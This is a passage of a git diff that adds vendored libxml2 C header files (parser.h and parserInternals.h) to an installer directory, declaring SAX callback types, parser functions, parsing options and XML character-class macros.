*msg, ...) LIBXML_ATTR_FORMAT(2,3); +/** + * errorSAXFunc: + * @ctx: an XML parser context + * @msg: the message to display/transmit + * @...: extra parameters for the message display + * + * Display and format an error messages, callback. + */ +typedef void (XMLCDECL *errorSAXFunc) (void *ctx, + const char *msg, ...) LIBXML_ATTR_FORMAT(2,3); +/** + * fatalErrorSAXFunc: + * @ctx: an XML parser context + * @msg: the message to display/transmit + * @...: extra parameters for the message display + * + * Display and format fatal error messages, callback. + * Note: so far fatalError() SAX callbacks are not used, error() + * get all the callbacks for errors. + */ +typedef void (XMLCDECL *fatalErrorSAXFunc) (void *ctx, + const char *msg, ...) LIBXML_ATTR_FORMAT(2,3); +/** + * isStandaloneSAXFunc: + * @ctx: the user data (XML parser context) + * + * Is this document tagged standalone? + * + * Returns 1 if true + */ +typedef int (*isStandaloneSAXFunc) (void *ctx); +/** + * hasInternalSubsetSAXFunc: + * @ctx: the user data (XML parser context) + * + * Does this document has an internal subset. + * + * Returns 1 if true + */ +typedef int (*hasInternalSubsetSAXFunc) (void *ctx); + +/** + * hasExternalSubsetSAXFunc: + * @ctx: the user data (XML parser context) + * + * Does this document has an external subset? + * + * Returns 1 if true + */ +typedef int (*hasExternalSubsetSAXFunc) (void *ctx); + +/************************************************************************ + * * + * The SAX version 2 API extensions * + * * + ************************************************************************/ +/** + * XML_SAX2_MAGIC: + * + * Special constant found in SAX2 blocks initialized fields + */ +#define XML_SAX2_MAGIC 0xDEEDBEAF + +/** + * startElementNsSAX2Func: + * @ctx: the user data (XML parser context) + * @localname: the local name of the element + * @prefix: the element namespace prefix if available + * @URI: the element namespace name if available + * @nb_namespaces: number of namespace definitions on that node + * @namespaces: pointer to the array of prefix/URI pairs namespace definitions + * @nb_attributes: the number of attributes on that node + * @nb_defaulted: the number of defaulted attributes. The defaulted + * ones are at the end of the array + * @attributes: pointer to the array of (localname/prefix/URI/value/end) + * attribute values. + * + * SAX2 callback when an element start has been detected by the parser. + * It provides the namespace informations for the element, as well as + * the new namespace declarations on the element. + */ + +typedef void (*startElementNsSAX2Func) (void *ctx, + const xmlChar *localname, + const xmlChar *prefix, + const xmlChar *URI, + int nb_namespaces, + const xmlChar **namespaces, + int nb_attributes, + int nb_defaulted, + const xmlChar **attributes); + +/** + * endElementNsSAX2Func: + * @ctx: the user data (XML parser context) + * @localname: the local name of the element + * @prefix: the element namespace prefix if available + * @URI: the element namespace name if available + * + * SAX2 callback when an element end has been detected by the parser. + * It provides the namespace informations for the element. + */ + +typedef void (*endElementNsSAX2Func) (void *ctx, + const xmlChar *localname, + const xmlChar *prefix, + const xmlChar *URI); + + +struct _xmlSAXHandler { + internalSubsetSAXFunc internalSubset; + isStandaloneSAXFunc isStandalone; + hasInternalSubsetSAXFunc hasInternalSubset; + hasExternalSubsetSAXFunc hasExternalSubset; + resolveEntitySAXFunc resolveEntity; + getEntitySAXFunc getEntity; + entityDeclSAXFunc entityDecl; + notationDeclSAXFunc notationDecl; + attributeDeclSAXFunc attributeDecl; + elementDeclSAXFunc elementDecl; + unparsedEntityDeclSAXFunc unparsedEntityDecl; + setDocumentLocatorSAXFunc setDocumentLocator; + startDocumentSAXFunc startDocument; + endDocumentSAXFunc endDocument; + startElementSAXFunc startElement; + endElementSAXFunc endElement; + referenceSAXFunc reference; + charactersSAXFunc characters; + ignorableWhitespaceSAXFunc ignorableWhitespace; + processingInstructionSAXFunc processingInstruction; + commentSAXFunc comment; + warningSAXFunc warning; + errorSAXFunc error; + fatalErrorSAXFunc fatalError; /* unused error() get all the errors */ + getParameterEntitySAXFunc getParameterEntity; + cdataBlockSAXFunc cdataBlock; + externalSubsetSAXFunc externalSubset; + unsigned int initialized; + /* The following fields are extensions available only on version 2 */ + void *_private; + startElementNsSAX2Func startElementNs; + endElementNsSAX2Func endElementNs; + xmlStructuredErrorFunc serror; +}; + +/* + * SAX Version 1 + */ +typedef struct _xmlSAXHandlerV1 xmlSAXHandlerV1; +typedef xmlSAXHandlerV1 *xmlSAXHandlerV1Ptr; +struct _xmlSAXHandlerV1 { + internalSubsetSAXFunc internalSubset; + isStandaloneSAXFunc isStandalone; + hasInternalSubsetSAXFunc hasInternalSubset; + hasExternalSubsetSAXFunc hasExternalSubset; + resolveEntitySAXFunc resolveEntity; + getEntitySAXFunc getEntity; + entityDeclSAXFunc entityDecl; + notationDeclSAXFunc notationDecl; + attributeDeclSAXFunc attributeDecl; + elementDeclSAXFunc elementDecl; + unparsedEntityDeclSAXFunc unparsedEntityDecl; + setDocumentLocatorSAXFunc setDocumentLocator; + startDocumentSAXFunc startDocument; + endDocumentSAXFunc endDocument; + startElementSAXFunc startElement; + endElementSAXFunc endElement; + referenceSAXFunc reference; + charactersSAXFunc characters; + ignorableWhitespaceSAXFunc ignorableWhitespace; + processingInstructionSAXFunc processingInstruction; + commentSAXFunc comment; + warningSAXFunc warning; + errorSAXFunc error; + fatalErrorSAXFunc fatalError; /* unused error() get all the errors */ + getParameterEntitySAXFunc getParameterEntity; + cdataBlockSAXFunc cdataBlock; + externalSubsetSAXFunc externalSubset; + unsigned int initialized; +}; + + +/** + * xmlExternalEntityLoader: + * @URL: The System ID of the resource requested + * @ID: The Public ID of the resource requested + * @context: the XML parser context + * + * External entity loaders types. + * + * Returns the entity input parser. + */ +typedef xmlParserInputPtr (*xmlExternalEntityLoader) (const char *URL, + const char *ID, + xmlParserCtxtPtr context); + +#ifdef __cplusplus +} +#endif + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + + +/* + * Init/Cleanup + */ +XMLPUBFUN void XMLCALL + xmlInitParser (void); +XMLPUBFUN void XMLCALL + xmlCleanupParser (void); + +/* + * Input functions + */ +XMLPUBFUN int XMLCALL + xmlParserInputRead (xmlParserInputPtr in, + int len); +XMLPUBFUN int XMLCALL + xmlParserInputGrow (xmlParserInputPtr in, + int len); + +/* + * Basic parsing Interfaces + */ +#ifdef LIBXML_SAX1_ENABLED +XMLPUBFUN xmlDocPtr XMLCALL + xmlParseDoc (const xmlChar *cur); +XMLPUBFUN xmlDocPtr XMLCALL + xmlParseFile (const char *filename); +XMLPUBFUN xmlDocPtr XMLCALL + xmlParseMemory (const char *buffer, + int size); +#endif /* LIBXML_SAX1_ENABLED */ +XMLPUBFUN int XMLCALL + xmlSubstituteEntitiesDefault(int val); +XMLPUBFUN int XMLCALL + xmlKeepBlanksDefault (int val); +XMLPUBFUN void XMLCALL + xmlStopParser (xmlParserCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlPedanticParserDefault(int val); +XMLPUBFUN int XMLCALL + xmlLineNumbersDefault (int val); + +#ifdef LIBXML_SAX1_ENABLED +/* + * Recovery mode + */ +XMLPUBFUN xmlDocPtr XMLCALL + xmlRecoverDoc (const xmlChar *cur); +XMLPUBFUN xmlDocPtr XMLCALL + xmlRecoverMemory (const char *buffer, + int size); +XMLPUBFUN xmlDocPtr XMLCALL + xmlRecoverFile (const char *filename); +#endif /* LIBXML_SAX1_ENABLED */ + +/* + * Less common routines and SAX interfaces + */ +XMLPUBFUN int XMLCALL + xmlParseDocument (xmlParserCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlParseExtParsedEnt (xmlParserCtxtPtr ctxt); +#ifdef LIBXML_SAX1_ENABLED +XMLPUBFUN int XMLCALL + xmlSAXUserParseFile (xmlSAXHandlerPtr sax, + void *user_data, + const char *filename); +XMLPUBFUN int XMLCALL + xmlSAXUserParseMemory (xmlSAXHandlerPtr sax, + void *user_data, + const char *buffer, + int size); +XMLPUBFUN xmlDocPtr XMLCALL + xmlSAXParseDoc (xmlSAXHandlerPtr sax, + const xmlChar *cur, + int recovery); +XMLPUBFUN xmlDocPtr XMLCALL + xmlSAXParseMemory (xmlSAXHandlerPtr sax, + const char *buffer, + int size, + int recovery); +XMLPUBFUN xmlDocPtr XMLCALL + xmlSAXParseMemoryWithData (xmlSAXHandlerPtr sax, + const char *buffer, + int size, + int recovery, + void *data); +XMLPUBFUN xmlDocPtr XMLCALL + xmlSAXParseFile (xmlSAXHandlerPtr sax, + const char *filename, + int recovery); +XMLPUBFUN xmlDocPtr XMLCALL + xmlSAXParseFileWithData (xmlSAXHandlerPtr sax, + const char *filename, + int recovery, + void *data); +XMLPUBFUN xmlDocPtr XMLCALL + xmlSAXParseEntity (xmlSAXHandlerPtr sax, + const char *filename); +XMLPUBFUN xmlDocPtr XMLCALL + xmlParseEntity (const char *filename); +#endif /* LIBXML_SAX1_ENABLED */ + +#ifdef LIBXML_VALID_ENABLED +XMLPUBFUN xmlDtdPtr XMLCALL + xmlSAXParseDTD (xmlSAXHandlerPtr sax, + const xmlChar *ExternalID, + const xmlChar *SystemID); +XMLPUBFUN xmlDtdPtr XMLCALL + xmlParseDTD (const xmlChar *ExternalID, + const xmlChar *SystemID); +XMLPUBFUN xmlDtdPtr XMLCALL + xmlIOParseDTD (xmlSAXHandlerPtr sax, + xmlParserInputBufferPtr input, + xmlCharEncoding enc); +#endif /* LIBXML_VALID_ENABLE */ +#ifdef LIBXML_SAX1_ENABLED +XMLPUBFUN int XMLCALL + xmlParseBalancedChunkMemory(xmlDocPtr doc, + xmlSAXHandlerPtr sax, + void *user_data, + int depth, + const xmlChar *string, + xmlNodePtr *lst); +#endif /* LIBXML_SAX1_ENABLED */ +XMLPUBFUN xmlParserErrors XMLCALL + xmlParseInNodeContext (xmlNodePtr node, + const char *data, + int datalen, + int options, + xmlNodePtr *lst); +#ifdef LIBXML_SAX1_ENABLED +XMLPUBFUN int XMLCALL + xmlParseBalancedChunkMemoryRecover(xmlDocPtr doc, + xmlSAXHandlerPtr sax, + void *user_data, + int depth, + const xmlChar *string, + xmlNodePtr *lst, + int recover); +XMLPUBFUN int XMLCALL + xmlParseExternalEntity (xmlDocPtr doc, + xmlSAXHandlerPtr sax, + void *user_data, + int depth, + const xmlChar *URL, + const xmlChar *ID, + xmlNodePtr *lst); +#endif /* LIBXML_SAX1_ENABLED */ +XMLPUBFUN int XMLCALL + xmlParseCtxtExternalEntity(xmlParserCtxtPtr ctx, + const xmlChar *URL, + const xmlChar *ID, + xmlNodePtr *lst); + +/* + * Parser contexts handling. + */ +XMLPUBFUN xmlParserCtxtPtr XMLCALL + xmlNewParserCtxt (void); +XMLPUBFUN int XMLCALL + xmlInitParserCtxt (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlClearParserCtxt (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlFreeParserCtxt (xmlParserCtxtPtr ctxt); +#ifdef LIBXML_SAX1_ENABLED +XMLPUBFUN void XMLCALL + xmlSetupParserForBuffer (xmlParserCtxtPtr ctxt, + const xmlChar* buffer, + const char *filename); +#endif /* LIBXML_SAX1_ENABLED */ +XMLPUBFUN xmlParserCtxtPtr XMLCALL + xmlCreateDocParserCtxt (const xmlChar *cur); + +#ifdef LIBXML_LEGACY_ENABLED +/* + * Reading/setting optional parsing features. + */ +XMLPUBFUN int XMLCALL + xmlGetFeaturesList (int *len, + const char **result); +XMLPUBFUN int XMLCALL + xmlGetFeature (xmlParserCtxtPtr ctxt, + const char *name, + void *result); +XMLPUBFUN int XMLCALL + xmlSetFeature (xmlParserCtxtPtr ctxt, + const char *name, + void *value); +#endif /* LIBXML_LEGACY_ENABLED */ + +#ifdef LIBXML_PUSH_ENABLED +/* + * Interfaces for the Push mode. + */ +XMLPUBFUN xmlParserCtxtPtr XMLCALL + xmlCreatePushParserCtxt(xmlSAXHandlerPtr sax, + void *user_data, + const char *chunk, + int size, + const char *filename); +XMLPUBFUN int XMLCALL + xmlParseChunk (xmlParserCtxtPtr ctxt, + const char *chunk, + int size, + int terminate); +#endif /* LIBXML_PUSH_ENABLED */ + +/* + * Special I/O mode. + */ + +XMLPUBFUN xmlParserCtxtPtr XMLCALL + xmlCreateIOParserCtxt (xmlSAXHandlerPtr sax, + void *user_data, + xmlInputReadCallback ioread, + xmlInputCloseCallback ioclose, + void *ioctx, + xmlCharEncoding enc); + +XMLPUBFUN xmlParserInputPtr XMLCALL + xmlNewIOInputStream (xmlParserCtxtPtr ctxt, + xmlParserInputBufferPtr input, + xmlCharEncoding enc); + +/* + * Node infos. + */ +XMLPUBFUN const xmlParserNodeInfo* XMLCALL + xmlParserFindNodeInfo (const xmlParserCtxtPtr ctxt, + const xmlNodePtr node); +XMLPUBFUN void XMLCALL + xmlInitNodeInfoSeq (xmlParserNodeInfoSeqPtr seq); +XMLPUBFUN void XMLCALL + xmlClearNodeInfoSeq (xmlParserNodeInfoSeqPtr seq); +XMLPUBFUN unsigned long XMLCALL + xmlParserFindNodeInfoIndex(const xmlParserNodeInfoSeqPtr seq, + const xmlNodePtr node); +XMLPUBFUN void XMLCALL + xmlParserAddNodeInfo (xmlParserCtxtPtr ctxt, + const xmlParserNodeInfoPtr info); + +/* + * External entities handling actually implemented in xmlIO. + */ + +XMLPUBFUN void XMLCALL + xmlSetExternalEntityLoader(xmlExternalEntityLoader f); +XMLPUBFUN xmlExternalEntityLoader XMLCALL + xmlGetExternalEntityLoader(void); +XMLPUBFUN xmlParserInputPtr XMLCALL + xmlLoadExternalEntity (const char *URL, + const char *ID, + xmlParserCtxtPtr ctxt); + +/* + * Index lookup, actually implemented in the encoding module + */ +XMLPUBFUN long XMLCALL + xmlByteConsumed (xmlParserCtxtPtr ctxt); + +/* + * New set of simpler/more flexible APIs + */ +/** + * xmlParserOption: + * + * This is the set of XML parser options that can be passed down + * to the xmlReadDoc() and similar calls. + */ +typedef enum { + XML_PARSE_RECOVER = 1<<0, /* recover on errors */ + XML_PARSE_NOENT = 1<<1, /* substitute entities */ + XML_PARSE_DTDLOAD = 1<<2, /* load the external subset */ + XML_PARSE_DTDATTR = 1<<3, /* default DTD attributes */ + XML_PARSE_DTDVALID = 1<<4, /* validate with the DTD */ + XML_PARSE_NOERROR = 1<<5, /* suppress error reports */ + XML_PARSE_NOWARNING = 1<<6, /* suppress warning reports */ + XML_PARSE_PEDANTIC = 1<<7, /* pedantic error reporting */ + XML_PARSE_NOBLANKS = 1<<8, /* remove blank nodes */ + XML_PARSE_SAX1 = 1<<9, /* use the SAX1 interface internally */ + XML_PARSE_XINCLUDE = 1<<10,/* Implement XInclude substitition */ + XML_PARSE_NONET = 1<<11,/* Forbid network access */ + XML_PARSE_NODICT = 1<<12,/* Do not reuse the context dictionary */ + XML_PARSE_NSCLEAN = 1<<13,/* remove redundant namespaces declarations */ + XML_PARSE_NOCDATA = 1<<14,/* merge CDATA as text nodes */ + XML_PARSE_NOXINCNODE= 1<<15,/* do not generate XINCLUDE START/END nodes */ + XML_PARSE_COMPACT = 1<<16,/* compact small text nodes; no modification of + the tree allowed afterwards (will possibly + crash if you try to modify the tree) */ + XML_PARSE_OLD10 = 1<<17,/* parse using XML-1.0 before update 5 */ + XML_PARSE_NOBASEFIX = 1<<18,/* do not fixup XINCLUDE xml:base uris */ + XML_PARSE_HUGE = 1<<19,/* relax any hardcoded limit from the parser */ + XML_PARSE_OLDSAX = 1<<20,/* parse using SAX2 interface before 2.7.0 */ + XML_PARSE_IGNORE_ENC= 1<<21,/* ignore internal document encoding hint */ + XML_PARSE_BIG_LINES = 1<<22 /* Store big lines numbers in text PSVI field */ +} xmlParserOption; + +XMLPUBFUN void XMLCALL + xmlCtxtReset (xmlParserCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlCtxtResetPush (xmlParserCtxtPtr ctxt, + const char *chunk, + int size, + const char *filename, + const char *encoding); +XMLPUBFUN int XMLCALL + xmlCtxtUseOptions (xmlParserCtxtPtr ctxt, + int options); +XMLPUBFUN xmlDocPtr XMLCALL + xmlReadDoc (const xmlChar *cur, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN xmlDocPtr XMLCALL + xmlReadFile (const char *URL, + const char *encoding, + int options); +XMLPUBFUN xmlDocPtr XMLCALL + xmlReadMemory (const char *buffer, + int size, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN xmlDocPtr XMLCALL + xmlReadFd (int fd, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN xmlDocPtr XMLCALL + xmlReadIO (xmlInputReadCallback ioread, + xmlInputCloseCallback ioclose, + void *ioctx, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN xmlDocPtr XMLCALL + xmlCtxtReadDoc (xmlParserCtxtPtr ctxt, + const xmlChar *cur, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN xmlDocPtr XMLCALL + xmlCtxtReadFile (xmlParserCtxtPtr ctxt, + const char *filename, + const char *encoding, + int options); +XMLPUBFUN xmlDocPtr XMLCALL + xmlCtxtReadMemory (xmlParserCtxtPtr ctxt, + const char *buffer, + int size, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN xmlDocPtr XMLCALL + xmlCtxtReadFd (xmlParserCtxtPtr ctxt, + int fd, + const char *URL, + const char *encoding, + int options); +XMLPUBFUN xmlDocPtr XMLCALL + xmlCtxtReadIO (xmlParserCtxtPtr ctxt, + xmlInputReadCallback ioread, + xmlInputCloseCallback ioclose, + void *ioctx, + const char *URL, + const char *encoding, + int options); + +/* + * Library wide options + */ +/** + * xmlFeature: + * + * Used to examine the existance of features that can be enabled + * or disabled at compile-time. + * They used to be called XML_FEATURE_xxx but this clashed with Expat + */ +typedef enum { + XML_WITH_THREAD = 1, + XML_WITH_TREE = 2, + XML_WITH_OUTPUT = 3, + XML_WITH_PUSH = 4, + XML_WITH_READER = 5, + XML_WITH_PATTERN = 6, + XML_WITH_WRITER = 7, + XML_WITH_SAX1 = 8, + XML_WITH_FTP = 9, + XML_WITH_HTTP = 10, + XML_WITH_VALID = 11, + XML_WITH_HTML = 12, + XML_WITH_LEGACY = 13, + XML_WITH_C14N = 14, + XML_WITH_CATALOG = 15, + XML_WITH_XPATH = 16, + XML_WITH_XPTR = 17, + XML_WITH_XINCLUDE = 18, + XML_WITH_ICONV = 19, + XML_WITH_ISO8859X = 20, + XML_WITH_UNICODE = 21, + XML_WITH_REGEXP = 22, + XML_WITH_AUTOMATA = 23, + XML_WITH_EXPR = 24, + XML_WITH_SCHEMAS = 25, + XML_WITH_SCHEMATRON = 26, + XML_WITH_MODULES = 27, + XML_WITH_DEBUG = 28, + XML_WITH_DEBUG_MEM = 29, + XML_WITH_DEBUG_RUN = 30, + XML_WITH_ZLIB = 31, + XML_WITH_ICU = 32, + XML_WITH_LZMA = 33, + XML_WITH_NONE = 99999 /* just to be sure of allocation size */ +} xmlFeature; + +XMLPUBFUN int XMLCALL + xmlHasFeature (xmlFeature feature); + +#ifdef __cplusplus +} +#endif +#endif /* __XML_PARSER_H__ */ diff --git a/installer/libxml2/include/libxml/parserInternals.h b/installer/libxml2/include/libxml/parserInternals.h new file mode 100644 index 0000000..f30fc68 --- /dev/null +++ b/installer/libxml2/include/libxml/parserInternals.h @@ -0,0 +1,644 @@ +/* + * Summary: internals routines and limits exported by the parser. + * Description: this module exports a number of internal parsing routines + * they are not really all intended for applications but + * can prove useful doing low level processing. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_PARSER_INTERNALS_H__ +#define __XML_PARSER_INTERNALS_H__ + +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * xmlParserMaxDepth: + * + * arbitrary depth limit for the XML documents that we allow to + * process. This is not a limitation of the parser but a safety + * boundary feature, use XML_PARSE_HUGE option to override it. + */ +XMLPUBVAR unsigned int xmlParserMaxDepth; + +/** + * XML_MAX_TEXT_LENGTH: + * + * Maximum size allowed for a single text node when building a tree. + * This is not a limitation of the parser but a safety boundary feature, + * use XML_PARSE_HUGE option to override it. + * Introduced in 2.9.0 + */ +#define XML_MAX_TEXT_LENGTH 10000000 + +/** + * XML_MAX_NAME_LENGTH: + * + * Maximum size allowed for a markup identitier + * This is not a limitation of the parser but a safety boundary feature, + * use XML_PARSE_HUGE option to override it. + * Note that with the use of parsing dictionaries overriding the limit + * may result in more runtime memory usage in face of "unfriendly' content + * Introduced in 2.9.0 + */ +#define XML_MAX_NAME_LENGTH 50000 + +/** + * XML_MAX_DICTIONARY_LIMIT: + * + * Maximum size allowed by the parser for a dictionary by default + * This is not a limitation of the parser but a safety boundary feature, + * use XML_PARSE_HUGE option to override it. + * Introduced in 2.9.0 + */ +#define XML_MAX_DICTIONARY_LIMIT 10000000 + +/** + * XML_MAX_LOOKUP_LIMIT: + * + * Maximum size allowed by the parser for ahead lookup + * This is an upper boundary enforced by the parser to avoid bad + * behaviour on "unfriendly' content + * Introduced in 2.9.0 + */ +#define XML_MAX_LOOKUP_LIMIT 10000000 + +/** + * XML_MAX_NAMELEN: + * + * Identifiers can be longer, but this will be more costly + * at runtime. + */ +#define XML_MAX_NAMELEN 100 + +/** + * INPUT_CHUNK: + * + * The parser tries to always have that amount of input ready. + * One of the point is providing context when reporting errors. + */ +#define INPUT_CHUNK 250 + +/************************************************************************ + * * + * UNICODE version of the macros. * + * * + ************************************************************************/ +/** + * IS_BYTE_CHAR: + * @c: an byte value (int) + * + * Macro to check the following production in the XML spec: + * + * [2] Char ::= #x9 | #xA | #xD | [#x20...] + * any byte character in the accepted range + */ +#define IS_BYTE_CHAR(c) xmlIsChar_ch(c) + +/** + * IS_CHAR: + * @c: an UNICODE value (int) + * + * Macro to check the following production in the XML spec: + * + * [2] Char ::= #x9 | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] + * | [#x10000-#x10FFFF] + * any Unicode character, excluding the surrogate blocks, FFFE, and FFFF. + */ +#define IS_CHAR(c) xmlIsCharQ(c) + +/** + * IS_CHAR_CH: + * @c: an xmlChar (usually an unsigned char) + * + * Behaves like IS_CHAR on single-byte value + */ +#define IS_CHAR_CH(c) xmlIsChar_ch(c) + +/** + * IS_BLANK: + * @c: an UNICODE value (int) + * + * Macro to check the following production in the XML spec: + * + * [3] S ::= (#x20 | #x9 | #xD | #xA)+ + */ +#define IS_BLANK(c) xmlIsBlankQ(c) + +/** + * IS_BLANK_CH: + * @c: an xmlChar value (normally unsigned char) + * + * Behaviour same as IS_BLANK + */ +#define IS_BLANK_CH(c) xmlIsBlank_ch(c) + +/** + * IS_BASECHAR: + * @c: an UNICODE value (int) + * + * Macro to check the following production in the XML spec: + * + * [85] BaseChar ::= ... long list see REC ... + */ +#define IS_BASECHAR(c) xmlIsBaseCharQ(c) + +/** + * IS_DIGIT: + * @c: an UNICODE value (int) + * + * Macro to check the following production in the XML spec: + * + * [88] Digit ::= ... long list see REC ... + */ +#define IS_DIGIT(c) xmlIsDigitQ(c) + +/** + * IS_DIGIT_CH: + * @c: an xmlChar value (usually an unsigned char) + * + * Behaves like IS_DIGIT but with a single byte argument + */ +#define IS_DIGIT_CH(c) xmlIsDigit_ch(c) + +/** + * IS_COMBINING: + * @c: an UNICODE value (int) + * + * Macro to check the following production in the XML spec: + * + * [87] CombiningChar ::= ... long list see REC ... + */ +#define IS_COMBINING(c) xmlIsCombiningQ(c) + +/** + * IS_COMBINING_CH: + * @c: an xmlChar (usually an unsigned char) + * + * Always false (all combining chars > 0xff) + */ +#define IS_COMBINING_CH(c) 0 + +/** + * IS_EXTENDER: + * @c: an UNICODE value (int) + * + * Macro to check the following production in the XML spec: + * + * + * [89] Extender ::= #x00B7 | #x02D0 | #x02D1 | #x0387 | #x0640 | + * #x0E46 | #x0EC6 | #x3005 | [#x3031-#x3035] | + * [#x309D-#x309E] | [#x30FC-#x30FE] + */ +#define IS_EXTENDER(c) xmlIsExtenderQ(c) + +/** + * IS_EXTENDER_CH: + * @c: an xmlChar value (usually an unsigned char) + * + * Behaves like IS_EXTENDER but with a single-byte argument + */ +#define IS_EXTENDER_CH(c) xmlIsExtender_ch(c) + +/** + * IS_IDEOGRAPHIC: + * @c: an UNICODE value (int) + * + * Macro to check the following production in the XML spec: + * + * + * [86] Ideographic ::= [#x4E00-#x9FA5] | #x3007 | [#x3021-#x3029] + */ +#define IS_IDEOGRAPHIC(c) xmlIsIdeographicQ(c) + +/** + * IS_LETTER: + * @c: an UNICODE value (int) + * + * Macro to check the following production in the XML spec: + * + * + * [84] Letter ::= BaseChar | Ideographic + */ +#define IS_LETTER(c) (IS_BASECHAR(c) || IS_IDEOGRAPHIC(c)) + +/** + * IS_LETTER_CH: + * @c: an xmlChar value (normally unsigned char) + * + * Macro behaves like IS_LETTER, but only check base chars + * + */ +#define IS_LETTER_CH(c) xmlIsBaseChar_ch(c) + +/** + * IS_ASCII_LETTER: + * @c: an xmlChar value + * + * Macro to check [a-zA-Z] + * + */ +#define IS_ASCII_LETTER(c) (((0x41 <= (c)) && ((c) <= 0x5a)) || \ + ((0x61 <= (c)) && ((c) <= 0x7a))) + +/** + * IS_ASCII_DIGIT: + * @c: an xmlChar value + * + * Macro to check [0-9] + * + */ +#define IS_ASCII_DIGIT(c) ((0x30 <= (c)) && ((c) <= 0x39)) + +/** + * IS_PUBIDCHAR: + * @c: an UNICODE value (int) + * + * Macro to check the following production in the XML spec: + * + * + * [13] PubidChar ::= #x20 | #xD | #xA | [a-zA-Z0-9] | [-'()+,./:=?;!*#@$_%] + */ +#define IS_PUBIDCHAR(c) xmlIsPubidCharQ(c) + +/** + * IS_PUBIDCHAR_CH: + * @c: an xmlChar value (normally unsigned char) + * + * Same as IS_PUBIDCHAR but for single-byte value + */ +#define IS_PUBIDCHAR_CH(c) xmlIsPubidChar_ch(c) + +/** + * SKIP_EOL: + * @p: and UTF8 string pointer + * + * Skips the end of line chars. + */ +#define SKIP_EOL(p) \ + if (*(p) == 0x13) { p++ ; if (*(p) == 0x10) p++; } \ + if (*(p) == 0x10) { p++ ; if (*(p) == 0x13) p++; } + +/** + * MOVETO_ENDTAG: + * @p: and UTF8 string pointer + * + * Skips to the next '>' char. + */ +#define MOVETO_ENDTAG(p) \ + while ((*p) && (*(p) != '>')) (p)++ + +/** + * MOVETO_STARTTAG: + * @p: and UTF8 string pointer + * + * Skips to the next '<' char. + */ +#define MOVETO_STARTTAG(p) \ + while ((*p) && (*(p) != '<')) (p)++ + +/** + * Global variables used for predefined strings. + */ +XMLPUBVAR const xmlChar xmlStringText[]; +XMLPUBVAR const xmlChar xmlStringTextNoenc[]; +XMLPUBVAR const xmlChar xmlStringComment[]; + +/* + * Function to finish the work of the macros where needed. + */ +XMLPUBFUN int XMLCALL xmlIsLetter (int c); + +/** + * Parser context. + */ +XMLPUBFUN xmlParserCtxtPtr XMLCALL + xmlCreateFileParserCtxt (const char *filename); +XMLPUBFUN xmlParserCtxtPtr XMLCALL + xmlCreateURLParserCtxt (const char *filename, + int options); +XMLPUBFUN xmlParserCtxtPtr XMLCALL + xmlCreateMemoryParserCtxt(const char *buffer, + int size); +XMLPUBFUN xmlParserCtxtPtr XMLCALL + xmlCreateEntityParserCtxt(const xmlChar *URL, + const xmlChar *ID, + const xmlChar *base); +XMLPUBFUN int XMLCALL + xmlSwitchEncoding (xmlParserCtxtPtr ctxt, + xmlCharEncoding enc); +XMLPUBFUN int XMLCALL + xmlSwitchToEncoding (xmlParserCtxtPtr ctxt, + xmlCharEncodingHandlerPtr handler); +XMLPUBFUN int XMLCALL + xmlSwitchInputEncoding (xmlParserCtxtPtr ctxt, + xmlParserInputPtr input, + xmlCharEncodingHandlerPtr handler); + +#ifdef IN_LIBXML +/* internal error reporting */ +XMLPUBFUN void XMLCALL + __xmlErrEncoding (xmlParserCtxtPtr ctxt, + xmlParserErrors xmlerr, + const char *msg, + const xmlChar * str1, + const xmlChar * str2) LIBXML_ATTR_FORMAT(3,0); +#endif + +/** + * Input Streams. + */ +XMLPUBFUN xmlParserInputPtr XMLCALL + xmlNewStringInputStream (xmlParserCtxtPtr ctxt, + const xmlChar *buffer); +XMLPUBFUN xmlParserInputPtr XMLCALL + xmlNewEntityInputStream (xmlParserCtxtPtr ctxt, + xmlEntityPtr entity); +XMLPUBFUN int XMLCALL + xmlPushInput (xmlParserCtxtPtr ctxt, + xmlParserInputPtr input); +XMLPUBFUN xmlChar XMLCALL + xmlPopInput (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlFreeInputStream (xmlParserInputPtr input); +XMLPUBFUN xmlParserInputPtr XMLCALL + xmlNewInputFromFile (xmlParserCtxtPtr ctxt, + const char *filename); +XMLPUBFUN xmlParserInputPtr XMLCALL + xmlNewInputStream (xmlParserCtxtPtr ctxt); + +/** + * Namespaces. + */ +XMLPUBFUN xmlChar * XMLCALL + xmlSplitQName (xmlParserCtxtPtr ctxt, + const xmlChar *name, + xmlChar **prefix); + +/** + * Generic production rules. + */ +XMLPUBFUN const xmlChar * XMLCALL + xmlParseName (xmlParserCtxtPtr ctxt); +XMLPUBFUN xmlChar * XMLCALL + xmlParseNmtoken (xmlParserCtxtPtr ctxt); +XMLPUBFUN xmlChar * XMLCALL + xmlParseEntityValue (xmlParserCtxtPtr ctxt, + xmlChar **orig); +XMLPUBFUN xmlChar * XMLCALL + xmlParseAttValue (xmlParserCtxtPtr ctxt); +XMLPUBFUN xmlChar * XMLCALL + xmlParseSystemLiteral (xmlParserCtxtPtr ctxt); +XMLPUBFUN xmlChar * XMLCALL + xmlParsePubidLiteral (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParseCharData (xmlParserCtxtPtr ctxt, + int cdata); +XMLPUBFUN xmlChar * XMLCALL + xmlParseExternalID (xmlParserCtxtPtr ctxt, + xmlChar **publicID, + int strict); +XMLPUBFUN void XMLCALL + xmlParseComment (xmlParserCtxtPtr ctxt); +XMLPUBFUN const xmlChar * XMLCALL + xmlParsePITarget (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParsePI (xmlParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlParseNotationDecl 